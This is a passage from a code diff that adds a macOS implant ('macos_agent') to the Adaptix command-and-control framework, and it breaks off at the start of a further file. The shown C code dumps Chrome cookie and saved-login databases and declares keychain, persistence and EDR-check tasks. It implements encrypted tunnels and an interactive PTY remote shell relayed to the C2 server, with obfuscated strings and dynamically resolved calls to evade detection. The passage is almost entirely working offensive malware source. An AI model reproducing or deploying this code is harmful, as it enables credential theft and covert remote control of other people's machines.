run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "cookies") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Cookies"); + char* argv[] = { "sqlite3", db_path, + "SELECT host_key, name, path FROM cookies LIMIT 200;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "logins") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Login Data"); + char* argv[] = { "sqlite3", db_path, + "SELECT origin_url, username_value FROM logins;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + } else if (ax_strcmp(browser, "firefox") == 0) { + DEOBF(firefox_profiles, OBF_FIREFOX_COOKIES); + char profiles_path[1024]; + ax_strcpy(profiles_path, home); + ax_strcat(profiles_path, "/"); + ax_strcat(profiles_path, firefox_profiles); + ZERO_STR(firefox_profiles, OBF_FIREFOX_COOKIES); + + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", profiles_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else { + char msg[] = "Firefox data extraction requires profile discovery (not yet implemented)\n"; + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } + } else { + ZERO_STR(tmp_path, OBF_TMP); + buf_free(&out); + write_error(w, "unknown browser"); + return 0; + } + + ZERO_STR(tmp_path, OBF_TMP); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h new file mode 100644 index 000000000..709a95f8f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h @@ -0,0 +1,16 @@ +#ifndef TASKS_MACOS_H +#define TASKS_MACOS_H + +#include "msgpack.h" +#include + +int task_screenshot(mp_writer_t* w); +int task_clipboard(mp_writer_t* w); +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tcc_check(mp_writer_t* w); +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_edr_check(mp_writer_t* w); +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_MACOS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c new file mode 100644 index 000000000..a7a9e1e3c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,860 @@ +#include "tasks_net.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + // Print prefix + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + // Print hex bytes (max 32) + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +static void _dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv; + if (val < 0) { sys_write(2, "-", 1); uv = (uint64_t)(-val); } + else uv = (uint64_t)val; + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#define _dbg_hex(prefix, data, len) ((void)0) +#define _dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + // Reset reader and try int + mp_reader_init(&r, data, data_len); + mp_read_map(&r, &mc); + for (uint32_t j = 0; j <= i; j++) { + const char* k2; uint32_t kl2; + mp_read_str(&r, &k2, &kl2); + if (j < i) mp_skip(&r); + } + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel ── +// Go: ParamsTunnelStart{Proto string, ChannelId int, Address string} +// Spawns thread → opens connections to target AND C2 → bidirectional AES-CTR relay + +#define TUNNEL_BUF_SIZE (32 * 1024) // 32KB relay buffer + +typedef struct { + int tunnel_idx; + int channel_id; + char proto[8]; // "tcp" or "udp" + char address[256]; // target address "host:port" +} tunnel_args_t; + +// Connect to target address +static int tunnel_connect_target(const char* proto, const char* address, int* out_fd) { + // Parse host:port + char host[256] = {0}; + uint16_t port = 0; + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host)) return -1; + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + port = port * 10 + (uint16_t)(*p - '0'); + p++; + } + + int sock_type = SOCK_STREAM; + if (ax_strcmp(proto, "udp") == 0) sock_type = SOCK_DGRAM; + + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = sock_type; + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + int fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Set connect timeout ~200ms via non-blocking + select + R_fcntl(fd, F_SETFL, O_NONBLOCK); + int cr = R_connect(fd, result->ai_addr, result->ai_addrlen); + R_freeaddrinfo(result); + + if (cr < 0 && errno != EINPROGRESS) { + R_close(fd); + return -1; + } + + if (cr < 0) { + // Wait for connection with timeout + fd_set wfds; + FD_ZERO(&wfds); + FD_SET(fd, &wfds); + struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 }; // 200ms + + int sr = R_select(fd + 1, (void*)0, &wfds, (void*)0, &tv); + if (sr <= 0) { + R_close(fd); + return -1; + } + + // Check for connection error + int err = 0; + socklen_t errlen = sizeof(err); + R_getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + if (err != 0) { + R_close(fd); + return -1; + } + } + + // Set back to blocking + int flags = R_fcntl(fd, F_GETFL, 0); + R_fcntl(fd, F_SETFL, flags & ~O_NONBLOCK); + + *out_fd = fd; + return 0; +} + +static void* tunnel_thread(void* arg) { + tunnel_args_t* targs = (tunnel_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tunnel_entry_t* tun = &ctx->tunnels[targs->tunnel_idx]; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + // Connect to target + int alive = 1; + uint8_t reason = 0; + + if (tunnel_connect_target(targs->proto, targs->address, &tun->client_fd) != 0) { + alive = 0; + reason = 5; // ECONNREFUSED (generic failure) + tun->client_fd = -1; + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &tun->srv_conn) != 0) { + if (tun->client_fd >= 0) R_close(tun->client_fd); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Generate per-tunnel AES keys + uint8_t tun_key[16], tun_iv[16]; + ax_random_bytes(tun_key, 16); + ax_random_bytes(tun_iv, 16); + + _dbg("[TUNNEL] === tunnel_thread start ==="); + _dbg_int("[TUNNEL] channel_id=", targs->channel_id); + _dbg_int("[TUNNEL] alive=", alive); + _dbg_hex("[TUNNEL] key=", tun_key, 16); + _dbg_hex("[TUNNEL] iv=", tun_iv, 16); + + // Send TunnelPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_int(&pack_w, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w, "key", tun_key, 16); + mp_write_kv_bin(&pack_w, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + + // Add reason field + mp_writer_t pack_w2; + mp_writer_init(&pack_w2, pack_w.buf.len + 32); + // Rewrite with 7 fields to include reason + mp_write_map(&pack_w2, 7); + mp_write_kv_uint(&pack_w2, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w2, "type", ctx->profile_type); + mp_write_kv_int(&pack_w2, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w2, "key", tun_key, 16); + mp_write_kv_bin(&pack_w2, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w2, "alive", alive ? true : false); + mp_write_kv_uint(&pack_w2, "reason", reason); + mp_writer_free(&pack_w); + + _dbg_int("[TUNNEL] TunnelPack msgpack size=", (int64_t)pack_w2.buf.len); + _dbg_hex("[TUNNEL] TunnelPack first 32 bytes=", pack_w2.buf.data, pack_w2.buf.len < 32 ? pack_w2.buf.len : 32); + + if (jobs_send_init(ctx, &tun->srv_conn, JOB_TUNNEL, + pack_w2.buf.data, (uint32_t)pack_w2.buf.len) != 0) { + mp_writer_free(&pack_w2); + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w2); + + if (!alive) { + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + // Server → Client: decrypt with tunKey/tunIv + // Client → Server: encrypt with tunKey/tunIv + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, tun_key, tun_iv); + aes128_ctr_init(&enc_ctx, tun_key, tun_iv); + + // Zero key material + ax_memset(tun_key, 0, 16); + ax_memset(tun_iv, 0, 16); + + _dbg("[TUNNEL] AES-CTR setup done, entering relay loop"); + _dbg_hex("[TUNNEL] dec_ctr (initial)=", dec_ctx.counter, 16); + _dbg_hex("[TUNNEL] enc_ctr (initial)=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] srv_fd=", tun->srv_conn.fd); + _dbg_int("[TUNNEL] client_fd=", tun->client_fd); + + // Bidirectional relay loop using select() + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = tun->srv_conn.fd; + int _dbg_relay_count = 0; + + while (!tun->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + if (!tun->paused) + FD_SET(tun->client_fd, &rfds); + + int maxfd = srv_fd > tun->client_fd ? srv_fd : tun->client_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; // 500ms timeout + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) break; + if (sr == 0) continue; // timeout, check canceled + + // Server → Client (decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] srv_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- SRV->CLIENT ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] ciphertext (from srv)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] dec_ctr=", dec_ctx.counter, 16); + _dbg_int("[TUNNEL] dec_ks_offset=", dec_ctx.ks_offset); + } + + // Decrypt with AES-CTR + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] plaintext (to client)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + } + + // Write to client + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(tun->client_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + + // Client → Server (encrypt) + if (!tun->paused && FD_ISSET(tun->client_fd, &rfds)) { + ssize_t n = R_read(tun->client_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] client_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- CLIENT->SRV ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] plaintext (from client)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] enc_ctr=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] enc_ks_offset=", enc_ctx.ks_offset); + } + + // Encrypt with AES-CTR + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] ciphertext (to srv)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_relay_count++; + } + + // Write to server + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + } + +cleanup: + _dbg("[TUNNEL] === tunnel_thread cleanup ==="); + _dbg_int("[TUNNEL] relay iterations (first 5 logged)=", (int64_t)_dbg_relay_count); + + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tun->active = 0; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; +} + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTunnelStart{Proto, ChannelId, Address} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate tunnel slot + R_pthread_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].srv_conn.fd = -1; + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Prepare thread args + tunnel_args_t* targs = (tunnel_args_t*)ax_malloc(sizeof(tunnel_args_t)); + targs->tunnel_idx = idx; + targs->channel_id = channel_id; + ax_strncpy(targs->proto, proto, sizeof(targs->proto) - 1); + ax_strncpy(targs->address, address, sizeof(targs->address) - 1); + + R_pthread_create(&ctx->tunnels[idx].thread, (void*)0, tunnel_thread, targs); + R_pthread_detach(ctx->tunnels[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 0; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Go: ParamsTerminalStart{TermId int, Program string, Width int, Height int} +// Spawns thread → opens PTY → connects to C2 → bidirectional AES-CTR relay + +// PTY helper: fork with pseudo-terminal +static int pty_fork(const char* program, int width, int height, int* master_fd, int* child_pid_out) { + int master = R_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + + if (R_grantpt(master) != 0 || R_unlockpt(master) != 0) { + R_close(master); + return -1; + } + + char* slave_name = R_ptsname(master); + if (!slave_name) { + R_close(master); + return -1; + } + + int pid = R_fork(); + if (pid < 0) { + R_close(master); + return -1; + } + + if (pid == 0) { + // Child + R_close(master); + R_setsid(); + + int slave = R_open(slave_name, O_RDWR, 0); + if (slave < 0) R_exit(1); + + // Set terminal size + struct winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + R_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + R_ioctl(slave, TIOCSCTTY, 0); + + R_dup2(slave, 0); + R_dup2(slave, 1); + R_dup2(slave, 2); + if (slave > 2) R_close(slave); + + // Set TERM environment + R_setenv("TERM", "xterm-256color", 1); + + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + char* argv_term[] = { (char*)program, (char*)0 }; + R_execve(program, argv_term, environ); + R_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void* terminal_thread(void* arg) { + terminal_args_t* targs = (terminal_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t* term = &ctx->terminals[targs->terminal_idx]; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + // Zero key material + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + FD_SET(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) { + if (errno == EINTR) continue; + break; + } + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = R_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; // Child exited + continue; + } + + // Server → PTY (user input, decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY → Server (shell output, encrypt) + if (FD_ISSET(pty_fd, &rfds)) { + ssize_t n = R_read(pty_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + // Kill shell process + if (term->child_pid > 0) { + R_kill(term->child_pid, 9); // SIGKILL + R_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) R_close(term->pty_master); + conn_close(&term->srv_conn); + + R_pthread_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; +} + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTerminalStart{TermId, Program, Width, Height} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate terminal slot + R_pthread_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + // Prepare thread args + terminal_args_t* ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + R_pthread_create(&ctx->terminals[idx].thread, (void*)0, terminal_thread, ta); + R_pthread_detach(ctx->terminals[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +// Parse TermId from terminal stop params +static int parse_term_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h new file mode 100644 index 000000000..3a67bb9f3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,19 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers — tunnel and terminal +/// These launch background threads with separate C2 connections +/// and bidirectional AES-CTR encrypted relays + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_NET_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 000000000..2610f4b48 